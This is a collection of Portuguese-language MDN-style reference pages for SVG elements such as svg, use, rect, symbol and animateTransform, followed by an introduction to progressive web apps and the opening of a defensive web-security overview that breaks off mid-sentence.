{"title":"svg - SVG: Gráficos Vetoriais Escaláveis","text":"svg\n===\n\nO elemento `svg` é um contêiner que define um novo sistema de coordenadas e janela de visualização (en-US). É usado como o elemento mais externo dos documentos SVG, mas também pode ser usado para incorporar um fragmento SVG dentro de um documento SVG ou HTML.\n\n**Nota:** The `xmlns` attribute is only required on the outermost `svg` element of *SVG documents*. It is unnecessary for inner `svg` elements or inside HTML documents.\n\nExemplo\n-------\n```\n\nhtml,\nbody,\nsvg {\n  height: 100%;\n}\n```\n\n\n\n```html\n<svg\n viewBox=\"0 0 300 100\"\n xmlns=\"https://www.w3.org/2000/svg\"\n stroke=\"red\"\n fill=\"grey\">\n  <circle cx=\"50\" cy=\"50\" r=\"40\" />\n  <circle cx=\"150\" cy=\"50\" r=\"4\" />\n\n  <svg viewBox=\"0 0 10 10\" x=\"200\" width=\"100\">\n    <circle cx=\"5\" cy=\"5\" r=\"4\" />\n  </svg>\n</svg>\n```\n\nAttributes\n----------\n\n`baseProfile (en-US)` \nDeprecated\n\n The minimum SVG language profile that the document requires.\n *Value type*: **<string>** ; *Default value*: none; *Animatable*: **no**\n\n`contentScriptType` \nDeprecated\n\n The default scripting language used by the SVG fragment.\n *Value type*: **<string>** ; *Default value*: `application/ecmascript`; *Animatable*: **no**\n\n`contentStyleType` \nDeprecated\n\n The default style sheet language used by the SVG fragment.\n *Value type*: **<string>** ; *Default value*: `text/css`; *Animatable*: **no**\n\n`height (en-US)`\n\n The displayed height of the rectangular viewport. (Not the height of its coordinate system.)\n *Value type*: **<length>**|**<percentage>** ; *Default value*: `auto`; *Animatable*: **yes**\n\n`preserveAspectRatio`\n\n How the `svg` fragment must be deformed if it is displayed with a different aspect ratio.\n *Value type*: (`none`| `xMinYMin`| `xMidYMin`| `xMaxYMin`| `xMinYMid`| `xMidYMid`| `xMaxYMid`| `xMinYMax`| `xMidYMax`| `xMaxYMax`) (`meet`|`slice`)? ; *Default value*: `xMidYMid meet`; *Animatable*: **yes**\n\n`version (en-US)` \nDeprecated\n\n Which version of SVG is used for the inner content of the element.\n *Value type*: **<number>** ; *Default value*: none; *Animatable*: **no**\n\n`viewBox (en-US)`\n\n The SVG viewport coordinates for the current SVG fragment.\n *Value type*: **<list-of-numbers>** ; *Default value*: none; *Animatable*: **yes**\n\n`width`\n\n The displayed width of the rectangular viewport. (Not the width of its coordinate system.)\n *Value type*: **<length>**|**<percentage>** ; *Default value*: `auto`; *Animatable*: **yes**\n\n`x (en-US)`\n\n The displayed x coordinate of the svg container. No effect on outermost `svg` elements.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: `0`; *Animatable*: **yes**\n\n`y (en-US)`\n\n The displayed y coordinate of the svg container. No effect on outermost `svg` elements.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: `0`; *Animatable*: **yes**\n\n\n\n**Nota:** Starting with SVG2, `x`, `y`, `width`, and `height` are *Geometry Properties*, meaning these attributes can also be used as CSS properties.\n\n### Global attributes\n\nCore Attributes (en-US)\n\nMost notably: `id (en-US)`, `tabindex (en-US)`\n\nStyling Attributes (en-US)\n`class`, `style`\nConditional Processing Attributes (en-US)\n\nMost notably: `requiredExtensions`, `systemLanguage (en-US)`\n\nEvent Attributes\n\nGlobal event attributes (en-US), Graphical event attributes (en-US), Document event attributes (en-US), Document element event attributes (en-US)\n\nPresentation Attributes (en-US)\n\nMost notably: `clip-path (en-US)`, `clip-rule (en-US)`, `color (en-US)`, `color-interpolation (en-US)`, `color-rendering`, `cursor (en-US)`, `display (en-US)`, `fill`, `fill-opacity (en-US)`, `fill-rule (en-US)`, `filter (en-US)`, `mask (en-US)`, `opacity (en-US)`, `pointer-events (en-US)`, `shape-rendering (en-US)`, `stroke (en-US)`, `stroke-dasharray (en-US)`, `stroke-dashoffset`, `stroke-linecap (en-US)`, `stroke-linejoin (en-US)`, `stroke-miterlimit (en-US)`, `stroke-opacity (en-US)`, `stroke-width (en-US)`, `transform (en-US)`, `vector-effect (en-US)`, `visibility (en-US)`\n\nAria Attributes\n\n`aria-activedescendant`, `aria-atomic`, `aria-autocomplete`, `aria-busy`, `aria-checked`, `aria-colcount`, `aria-colindex`, `aria-colspan`, `aria-controls`, `aria-current`, `aria-describedby`, `aria-details`, `aria-disabled`, `aria-dropeffect`, `aria-errormessage`, `aria-expanded`, `aria-flowto`, `aria-grabbed`, `aria-haspopup`, `aria-hidden`, `aria-invalid`, `aria-keyshortcuts`, `aria-label`, `aria-labelledby`, `aria-level`, `aria-live`, `aria-modal`, `aria-multiline`, `aria-multiselectable`, `aria-orientation`, `aria-owns`, `aria-placeholder`, `aria-posinset`, `aria-pressed`, `aria-readonly`, `aria-relevant`, `aria-required`, `aria-roledescription`, `aria-rowcount`, `aria-rowindex`, `aria-rowspan`, `aria-selected`, `aria-setsize`, `aria-sort`, `aria-valuemax`, `aria-valuemin`, `aria-valuenow`, `aria-valuetext`, `role`\n\nUsage notes\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente, elemento estrutural |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # NewDocument |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"use - SVG: Gráficos Vetoriais Escaláveis","text":"use\n===\n\nO elemento `use` cria instâncias dentro de um documento SVG e os duplica em outro local. O efeito é o mesmo se as instâncias forem profundamente clonadas em um DOM não exposto, e então coladas onde o elemento `use` está (muito parecido com elementos de template clonados no HTML5). Como as instâncias clonadas não são expostas, é preciso ter cuidado ao utilizar CSS para estilizar o elemento `use` e seus descendentes ocultos. Não há garantia de que atributos CSS sejam herdados pelo DOM oculto e clonado, a menos que você os solicite explicitamente usando herança CSS.\n\nPor motivos de segurança alguns navegadores poderão aplicar uma política de \"mesma origem\" com elementos `use`, bem como poderão recusar o carregamento de uma URI de múltiplas origens no atributo `xlink:href`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento gráfico, Elemento gráfico referenciado, elemento estrutural |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nExemplo\n-------\n\n\n```xml\n<svg width=\"100%\" height=\"100%\" xmlns=\"https://www.w3.org/2000/svg\" xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n  <style>\n    .classA { fill:red }\n  </style>\n  <defs>\n    <g id=\"Port\">\n      <circle style=\"fill:inherit\" r=\"10\"/>\n    </g>\n  </defs>\n\n  <text y=\"15\">black</text>\n  <use x=\"50\" y=\"10\" xlink:href=\"#Port\" />\n  <text y=\"35\">red</text>\n  <use x=\"50\" y=\"30\" xlink:href=\"#Port\" class=\"classA\"/>\n  <text y=\"55\">blue</text>\n  <use x=\"50\" y=\"50\" xlink:href=\"#Port\" style=\"fill:blue\"/>\n </svg>\n```\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* Atributos XLink »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n* `x (en-US)`\n* `y (en-US)`\n* `width`\n* `height (en-US)`\n* `xlink:href (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGUseElement`.\n\nCompatibilidade dos navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"line - SVG: Gráficos Vetoriais Escaláveis","text":"line\n====\n\nO elemento `line` é uma forma básica do SVG, utilizada para criar uma linha conectando dois pontos.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento básico de forma, Elemento gráfico, Elemento de forma |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nExemplo\n-------\n\n» line.svg\n\nVocê também pode aplicar transformações para obter o mesmo resultado. Começando com uma linha normal,\n\n» line1.svg\n\nadicionar as opções de transformação para mudar a direção da linha:\n\n» line2.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n* `x1 (en-US)`\n* `x2 (en-US)`\n* `y1 (en-US)`\n* `y2 (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGLineElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nRelacionado\n-----------\n\n* `<polygon>`\n* `<path>`"}
{"title":"stop - SVG: Gráficos Vetoriais Escaláveis","text":"stop\n====\n\nA rampa de cores para utilizar em um gradiente é definido pelo elemento `stop` que é elemento filho do elemento `<linearGradient>` ou do elemento `<radialGradient>`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento gradiente |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:`<animate>`, `<set>` |\n\nExemplo\n-------\n\n\n```html\n<svg\n width=\"100%\"\n height=\"100%\"\n viewBox=\"0 0 80 40\"\n xmlns=\"https://www.w3.org/2000/svg\">\n  <defs>\n    <linearGradient id=\"MyGradient\">\n      <stop offset=\"5%\" stop-color=\"#F60\" />\n      <stop offset=\"95%\" stop-color=\"#FF6\" />\n    </linearGradient>\n  </defs>\n\n  <!-- Outline the drawing area in black -->\n  <rect fill=\"none\" stroke=\"black\" x=\"0.5\" y=\"0.5\" width=\"79\" height=\"39\" />\n\n  <!-- The rectangle is filled using a linear gradient -->\n  <rect\n fill=\"url(#MyGradient)\"\n stroke=\"black\"\n stroke-width=\"1\"\n x=\"10\"\n y=\"10\"\n width=\"60\"\n height=\"20\" />\n</svg>\n```\n\n\nResultado:\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos de apresentação »\n* `class`\n* `style`\n### Atributos específicos\n\n* `offset`\n* `stop-color (en-US)`\n* `stop-opacity (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGStopElement` (en-US).\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<linearGradient>`\n* `<radialGradient>`"}
{"title":"symbol - SVG: Gráficos Vetoriais Escaláveis","text":"symbol\n======\n\nO elemento `symbol` é usado para definir um template que pode ser inicializado por um elemento `<use>`. A utilização de elementos `symbol` para gráficos que são usados várias vezes no mesmo documento acrescenta estrutura e semântica. Documentos que são ricos em estrutura podem ser renderizados graficamente, através da fala, ou do braille, e assim promover a acessibilidade. Note que o elemento `symbol` em si não é renderizado. Somente instâncias de um elemento `symbol` (por exemplo, uma referência à um elemento `symbol` feita por um elemento `<use>`) são renderizadas.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente, elemento estrutural |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nExemplo\n-------\n\n\n```html\n<svg>\n  <!-- definição de symbol NUNCA é renderizada -->\n  <symbol id=\"sym01\" viewBox=\"0 0 150 110\">\n    <circle cx=\"50\" cy=\"50\" r=\"40\" stroke-width=\"8\" stroke=\"red\" fill=\"red\" />\n    <circle\n cx=\"90\"\n cy=\"60\"\n r=\"40\"\n stroke-width=\"8\"\n stroke=\"green\"\n fill=\"white\" />\n  </symbol>\n\n  <!-- renderização por elementos \"use\" -->\n  <use xlink:href=\"#sym01\" x=\"0\" y=\"0\" width=\"100\" height=\"50\" />\n  <use xlink:href=\"#sym01\" x=\"0\" y=\"50\" width=\"75\" height=\"38\" />\n  <use xlink:href=\"#sym01\" x=\"0\" y=\"100\" width=\"50\" height=\"25\" />\n</svg>\n```\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `preserveAspectRatio`\n* `viewBox (en-US)`\nInterface DOM\n-------------\n\nEsse elemento implementa a interface do `SVGSymbolElement`.\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<marker>`\n* `<pattern>`"}
{"title":"rect - SVG: Gráficos Vetoriais Escaláveis","text":"rect\n====\n\nO elemento **`<rect>`** é uma forma SVG básica (en-US) que desenha retângulos, definidos por sua posição, largura e altura. Os retângulos podem ter seus cantos arredondados.\n```\n\nhtml,\nbody,\nsvg {\n  height: 100%;\n}\n```\n\n\n\n```html\n<svg viewBox=\"0 0 220 100\" xmlns=\"https://www.w3.org/2000/svg\">\n  <!-- Simple rectangle -->\n  <rect width=\"100\" height=\"100\" />\n\n  <!-- Rounded corner rectangle -->\n  <rect x=\"120\" width=\"100\" height=\"100\" rx=\"15\" />\n</svg>\n```\n\nAttributes\n----------\n\n`x (en-US)`\n\n The x coordinate of the rect.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: `0`; *Animatable*: **yes**\n\n`y (en-US)`\n\n The y coordinate of the rect.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: `0`; *Animatable*: **yes**\n\n`width`\n\n The width of the rect.\n *Value type*: `auto`|**<length>**|**<percentage>** ; *Default value*: `auto`; *Animatable*: **yes**\n\n`height (en-US)`\n\n The height of the rect.\n *Value type*: `auto`|**<length>**|**<percentage>** ; *Default value*: `auto`; *Animatable*: **yes**\n\n`rx (en-US)`\n\n The horizontal corner radius of the rect. Defaults to `ry` if it is specified.\n *Value type*: `auto`|**<length>**|**<percentage>** ; *Default value*: `auto`; *Animatable*: **yes**\n\n`ry (en-US)`\n\n The vertical corner radius of the rect. Defaults to `rx` if it is specified.\n *Value type*: `auto`|**<length>**|**<percentage>** ; *Default value*: `auto`; *Animatable*: **yes**\n\n`pathLength (en-US)`\n\n The total length of the rectangle's perimeter, in user units.\n *Value type*: **<number>** ; *Default value*: *none*; *Animatable*: **yes**\n\n\n\n**Nota:** Starting with SVG2, `x`, `y`, `width`, `height`, `rx` and `ry` are *Geometry Properties*, meaning those attributes can also be used as CSS properties for that element.\n\n### Global attributes\n\nCore Attributes\n\nMost notably: `id (en-US)`, `tabindex (en-US)`\n\nStyling Attributes\n`class`, `style`\nConditional Processing Attributes\n\nMost notably: `requiredExtensions`, `systemLanguage (en-US)`\n\nEvent Attributes\n\nGlobal event attributes, Graphical event attributes\n\nPresentation Attributes\n\nMost notably: `clip-path (en-US)`, `clip-rule (en-US)`, `color (en-US)`, `color-interpolation (en-US)`, `color-rendering`, `cursor (en-US)`, `display (en-US)`, `fill`, `fill-opacity (en-US)`, `fill-rule (en-US)`, `filter (en-US)`, `mask (en-US)`, `opacity (en-US)`, `pointer-events (en-US)`, `shape-rendering (en-US)`, `stroke (en-US)`, `stroke-dasharray (en-US)`, `stroke-dashoffset`, `stroke-linecap (en-US)`, `stroke-linejoin (en-US)`, `stroke-miterlimit (en-US)`, `stroke-opacity (en-US)`, `stroke-width (en-US)`, `transform (en-US)`, `vector-effect (en-US)`, `visibility (en-US)`\n\nAria Attributes\n\n`aria-activedescendant`, `aria-atomic`, `aria-autocomplete`, `aria-busy`, `aria-checked`, `aria-colcount`, `aria-colindex`, `aria-colspan`, `aria-controls`, `aria-current`, `aria-describedby`, `aria-details`, `aria-disabled`, `aria-dropeffect`, `aria-errormessage`, `aria-expanded`, `aria-flowto`, `aria-grabbed`, `aria-haspopup`, `aria-hidden`, `aria-invalid`, `aria-keyshortcuts`, `aria-label`, `aria-labelledby`, `aria-level`, `aria-live`, `aria-modal`, `aria-multiline`, `aria-multiselectable`, `aria-orientation`, `aria-owns`, `aria-placeholder`, `aria-posinset`, `aria-pressed`, `aria-readonly`, `aria-relevant`, `aria-required`, `aria-roledescription`, `aria-rowcount`, `aria-rowindex`, `aria-rowspan`, `aria-selected`, `aria-setsize`, `aria-sort`, `aria-valuemax`, `aria-valuemin`, `aria-valuenow`, `aria-valuetext`, `role`\n\nUsage notes\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento básico de forma, Elemento gráfico, Elemento de forma |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # RectElement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Other basic SVG shapes: `<circle>`, `<ellipse>`, `<line>`, **`<polygon>`**, `<polyline>`"}
{"title":"marker - SVG: Gráficos Vetoriais Escaláveis","text":"marker\n======\n\nO elemento `marker` define os gráficos quem devem ser usados para desenhar setas or polymarkers em um determinado elemento `<path>`, `<line>`, `<polyline>` ou `<polygon>`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nExemplo\n-------\n\n» marker.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `viewBox (en-US)`\n* `preserveAspectRatio`\n* `transform (en-US)`\n### Atributos específicos\n\n* `markerUnits (en-US)`\n* `refX (en-US)`\n* `refY (en-US)`\n* `markerWidth (en-US)`\n* `markerHeight (en-US)`\n* `orient (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGMarkerElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"animateTransform - SVG: Gráficos Vetoriais Escaláveis","text":"animateTransform\n================\n\nO elemento `animateTransform` anima a transformação de um atributo em um elemento alvo, permitindo assim as animações controlarem a movimentação, escala, rotação e/ou inclinação.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de animação |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos |\n\nExemplo\n-------\n\n\n```html\n<?xml version=\"1.0\"?>\n<svg\n width=\"120\"\n height=\"120\"\n viewBox=\"0 0 120 120\"\n xmlns=\"https://www.w3.org/2000/svg\"\n version=\"1.1\"\n xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n  <polygon points=\"60,30 90,90 30,90\">\n    <animateTransform\n attributeName=\"transform\"\n attributeType=\"XML\"\n type=\"rotate\"\n from=\"0 60 70\"\n to=\"360 60 70\"\n dur=\"10s\"\n repeatCount=\"indefinite\" />\n  </polygon>\n</svg>\n```\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos da animação »\n* Atributos XLink »\n* Atributos de destino do atributo da animação »\n* Atributos de cronometragem da animação »\n* Atributos de valor de animação »\n* Atributos de animação adicionais »\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `by (en-US)`\n* `from (en-US)`\n* `to (en-US)`\n* `type (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGAnimateTransformElement` (en-US)."}
{"title":"animateMotion - SVG: Gráficos Vetoriais Escaláveis","text":"animateMotion\n=============\n\nO elemento `animateMotion` interfere em uma elemento referenciado para se mover ao longo de uma trajetória de movimento.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de animação |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos`<mpath>` |\n\nExemplo\n-------\n\n» animateMotion.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional (en-US) »\n* Atributos principais (en-US) »\n* Atributos de eventos da animação (en-US) »\n* Atributos XLink (en-US) »\n* Atributos de cronometragem da animação (en-US) »\n* Atributos de valor de animação (en-US) »\n* Atributos de animação adicionais (en-US) »\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `calcMode (en-US)`\n* `path (en-US)`\n* `keyPoints (en-US)`\n* `rotate (en-US)`\n* `origin (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGAnimateMotionElement` (en-US).\n\nRelacionado\n-----------\n\n* `<mpath>`"}
{"title":"ellipse - SVG: Gráficos Vetoriais Escaláveis","text":"ellipse\n=======\n\nO elemento `ellipse` é uma forma básica do SVG, utilizado para criar elipses baseado em uma coordenada central, tanto no raio x quanto no y.\n\nAs elipses são incapazes de especificar a orientação exatada dela mesma (se, por exemplo, você quiser desenha uma elipse inclinada a um ângulo de 45 graus), mas poderá ser rotacionada utilizando o atributo `transform (en-US)`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento básico de forma, Elemento gráfico, Elemento de forma |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nExemplo\n-------\n\n» ellipse.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n* `cx (en-US)`\n* `cy (en-US)`\n* `rx (en-US)`\n* `ry (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGEllipseElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<circle>`"}
{"title":"Introdução a progressive web apps","text":"Introdução a progressive web apps\n=================================\n\n* Menu: Progressive (en-US)\n* Próxima  (en-US)\n\nEste artigo fornece uma intrução as Progressive Web Apps (PWAs), explicando o que são e quais vantagens elas trazem em relação ao desenvolvimento de aplicações web comuns.\n\nO que é uma Progressive Web App?\n--------------------------------\n\nAs PWAs são aplicativos web desenvolvidos usando várias tecnologias e padrões específicos para permitir que eles aproveitem os recursos da web e dos aplicativos nativos.\n\nPor exemplo, as aplicações web são mais detectáveis - é muito mais fácil e rápido visitar um site do que instalar um aplicativo, e você também pode compartilhar aplicações web por meio de um link.\n\nPor outro lado, os aplicativos nativos são melhor integrados ao sistema operacional e, portanto, oferecem uma experiência melhor para os usuários. Você pode instalar um aplicativo nativo para funcionar off-line e os usuários adoram tocar nos ícones da tela inicial para acessar facilmente os aplicativos favoritos, em vez de acessá-lo usando um navegador.\n\nAs PWAs nos dão a capacidade de criar aplicações web com essas mesmas vantagens.\n\nIsso não é um conceito novo - essas ideias foram pensadas muitas vezes na plataforma web com várias abordagens no passado. O aprimoramento progressivo e o design responsivo já nos permitem criar websites otimizados para dispositivos móveis. Trabalhar offline e instalar aplicativos foi possível no ecossistema Firefox OS há alguns anos.\n\nPWAs, no entanto, fornecem tudo isso e muito mais, sem se livrar de qualquer um dos recursos existentes que tornam a web excelente.\n\nO que torna uma aplicação web em uma PWA?\n-----------------------------------------\n\nComo sugerimos acima, as PWAs não são criadas com uma única tecnologia. Elas representam uma nova filosofia para a criação de aplicações Web, envolvendo alguns padrões específicos, APIs e outros recursos. Não é tão óbvio saber se uma aplicação web é uma PWA ou não, à primeira vista. Uma aplicação Web pode ser considerada uma PWA quando atende a determinados requisitos ou implementa um conjunto de recursos específicos: funciona offline, é instalável, é fácil de sincronizar, pode enviar notificações push etc.\n\nAlém disso, existem ferramentas para medir a integridade de uma aplicação Web em porcentagens. (Lighthouse é atualmente o mais popular.) Ao implementar várias vantagens tecnológicas, podemos fazer uma aplicação mais progressiva, terminando assim com uma pontuação mais alta no Lighthouse. Mas este é apenas um indicador aproximado.\n\nExistem alguns princípios que uma aplicação Web deve tentar seguir para serem identificadas como uma PWA. Deveria ser:\n\n* Detectável, o seu conteúdo deve poder ser encontrado por mecanismos de busca na Web.\n* Instalável, deve poder ser acessada a partir da tela inicial do dispositivo.\n* Linkavel, você deve poder compartilhar simplesmente enviando a sua URL.\n* Independente de rede, deve funcionar offline e ou com uma conexão fraca.\n* Progressiva, deve funcionar em um nível básico e navegadores antigos e em um nível completo nos mais modernos.\n* Re-engajável, deve ser possível enviar notificações.\n* Responsiva, deve ser utilizável em qualquer dispositivo com uma tela e em navegadores — telefones móveis, tablets, laptops, TVs, geladeiras, etc.\n* Segura, a conexão deve ser segura contra terceiros que tentarem acessar dados confidenciais.\n### Is it worth doing all that?\n\nAbsolutely! With a relatively small amount of effort required to implement the core PWA features, the benefits are huge. For example:\n\n* A decrease in loading times after the app has been installed, thanks to caching with Service Workers, along with saving precious bandwidth and time.\n* The ability to update only the content that has changed when an app update is available. In contrast, with a native app, even the slightest modification can force the user to download the entire application again.\n* A look and feel that is more integrated with the native platform — app icons on the homescreen, apps that run fullscreen, etc.\n* Re-engaging with users via system notifications and push messages, leading to more engaged users and better conversion rates.\n\nThere are many success stories of companies trying the PWA route, opting for an enhanced website experience rather than a native app, and seeing significant measurable benefits as a result. The website PWA Stats shares many case studies which indiciate these benefits.\n\nThe best known success story is probably Flipkart Lite — India's largest e-commerce site rebuilt as a progressive web app in 2015, which resulted in 70% increase in conversions. The AliExpress PWA has also seen much better results than the web or native app, with a 104% increase in conversion rates for new users. Given their profit increase, and the relatively low amount of work required for the conversion to PWAs, the advantage is clear.\n\nEarly stage emerging startups like couponmoto have also started using progressive web apps to drive more consumer engagement, showing that they can help small as well as big companies to (re-)engage users more effectively.\n\nYou can check the list at pwa.rocks for more examples. Particularly worth mentioning is the hnpwa.com page — this lists an example implementation of the Hacker News website (instead of the usual TodoMVC app), in which you can see the use of various front-end frameworks.\n\nYou can even generate PWAs online using the PWABuilder website.\n\nFor service worker- and push- specific information, be sure to check The Service Worker Cookbook, a collection of recipes using service workers in modern sites.\n\nIt's well worth trying out a PWA approach, so you can see for yourself if it works for your app.\n\nBrowser support\n---------------\n\nAs mentioned before, PWAs don't depend on a single API, but rather using various technologies to achieve the goal of delivering the best web experience possible.\n\nThe key ingredient required for PWAs is service worker support. Thankfully service workers are now supported on all major browsers on desktop and mobile.\n\nOther features such as Web App Manifest, Push, Notifications (en-US), and Add to Home Screen (en-US) functionality have wide support too. Currently Safari has limited support for Web App Manifest and Add to Home Screen and no support for web push notifications. However, other major browsers support all these features.\n\nSome of these APIs are experimental, with the documentation still in draft, but seeing success stories like those of Flipkart and AliExpress should convince you to try and implement some of the PWA features in your web app already.\n\nAbove all you should follow the progressive enhancement rule — use the technologies that provide such enhancements only where they are supported, but still offer the basic functionality of your app if it isn't. This way everybody will be able to use it, but those with modern browsers will benefit from PWA features even more.\n\nAn example application\n----------------------\n\nIn this series of articles we will examine the source code of a super simple website that lists information about games submitted to the A-Frame category in the js13kGames 2017 competition. You don't have to think about what the actual content on the website is — the main point is to learn how to use PWA features in your own projects.\n\nYou can find the online version at mdn.github.io/pwa-examples/js13kpwa (also see the source code), which we will be carefully explaining in the next few articles.\n\nNow, let's move to the second part of this series, where we'll be looking at the structure of our example app.\n\n* Menu: Progressive (en-US)\n* Próxima  (en-US)"}
{"title":"Deixando seu site seguro - Segurança Web","text":"Deixando seu site seguro\n========================\n\nHá várias coisas que você pode fazer para ajudar na segurança do seu site. Esse artigo oferece uma série de sugestões, bem como links para outros artigos fornecendo informações mais úteis.\n\n**Nota:** Esse artigo é um trabalho em progresso e não está nem completo nem as sugestões a seguir irão garantir que seu site será completamente seguro.\n\nSegurança da informação do usuário\n----------------------------------\n\nComo desligar o formulário de preenchimento automático\n\nCampos de formulário têm preenchimento automático no Gecko, isto é, seus valores podem ser lembrados e automaticamente trazidos de volta na próxima vez que o usuário visitar seu site. Para certos tipos de dados, você pode querer desativar essa funcionalidade.\n\nPrivacidade e o seletor :visited\n\nEsse artigo discute mudanças feitas no método `getComputedStyle()` que eliminam a habilidade de sites maliciosos de descobrir o histórico do navegador de usuários.\n\nSegurança de conteúdo\n---------------------\n\nConfigurar corretamente os tipos de MIME do servidor\n\nHá várias formas para que tipos incorretos de MIME causem potenciais problemas de segurança no seu site. Esse artigo explica alguns deles e mostra como configurar seu servidor para fornecer arquivos com os tipos corretos de MIME.\n\nHTTP Strict Transport Security\n\nO cabeçalho HTTP `Strict-Transport-Security:` permite a um site especificar que somente pode ser acessado usando HTTPS.\n\nControle de acesso HTTP\n\nO padrão *Cross-Origin Resource Sharing* fornece uma forma de especificar qual conteúdo pode ser carregado de outros domínios. Você pode usar isso para prevenir 